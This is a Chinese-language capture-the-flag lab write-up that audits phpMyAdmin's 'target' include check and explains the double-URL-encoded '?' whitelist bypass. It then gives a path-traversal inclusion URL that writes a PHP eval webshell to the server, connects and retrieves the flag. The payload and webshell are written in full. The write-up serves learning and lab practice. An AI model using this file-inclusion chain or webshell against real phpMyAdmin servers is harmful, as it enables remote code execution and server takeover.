说实话现在的状态真的是难受的一批,想睡又睡不着,闹钟浑浑噩噩的,索性从床上爬起来写一下刚学的题吧

题目

文件包含

image-20231231040151556

代码审计

全局搜include

image-20231231040310552

代码审计优先级,直接传参大于间接传参

所以跟进 index.php文件下的include $_REQUEST[‘target’];

image-20231231040459187

进行分析

1
2
3
4
5
(! empty($_REQUEST['target'])								//这里判断传进来的参数是否是空的,若不是返回true
&& is_string($_REQUEST['target']) //这里判断参数是否是字符串,若是返回true
&& ! preg_match('/^index/', $_REQUEST['target']) //这里判断参数是否是index开头的,若不是则返回true
&& ! in_array($_REQUEST['target'], $target_blacklist) //这里判断参数是否在黑名单中
&& Core::checkPageValidity($_REQUEST['target']) //调用 Core::checkPageValidity($_REQUEST['target']) 方法,检查目标文件的有效性

跟进分析checkPageValidity

image-20231231041020181`

1
public static function checkPageValidity(&$page, array $whitelist = []) 	//这里接收$page与$whitelist两个参数
1
2
3
4
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
这里表示如果$whitelist为空的话则默认使用$goto_whitelist中的白名单
1
2
3
4
if (! isset($page) || !is_string($page)) {
return false;
}
//这里判断$page是否存在以及$page是否为字符串,若存在且是字符串则返回true
1
2
3
4
if (in_array($page, $whitelist)) {
return true;
}
这里判断$page是否在白名单中,如果在返回true。如果不在则执行后面的代码。
1
2
3
4
5
6
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
这里截取变量$page第一个'?'之前的字符串并将其赋给$_page
1
2
3
4
if (in_array($_page, $whitelist)) {
return true;
}
这里判断$_是否在白名单中。
1
2
$_page = urldecode($page);
//这里对$page的值进行url解码

查询数据库所在位置

image-20231231042805162

新建一个含有一句话木马的表

image-20231231043026544

1
2
3
4
http://ogazcjj5.ia.aqlab.cn/MySQL/data/bdyz/rce.frm

http://ogazcjj5.ia.aqlab.cn/lfi/phpmyadmin/?target=db_datadict.php%253F/../../../../MySQL/data/us/ta.frm&8=file_put_contents('2.php','<?php eval($_REQUEST[8]);?>');

image-20231231051009059

连接成功

image-20231231051238690

找到flag

image-20231231052702812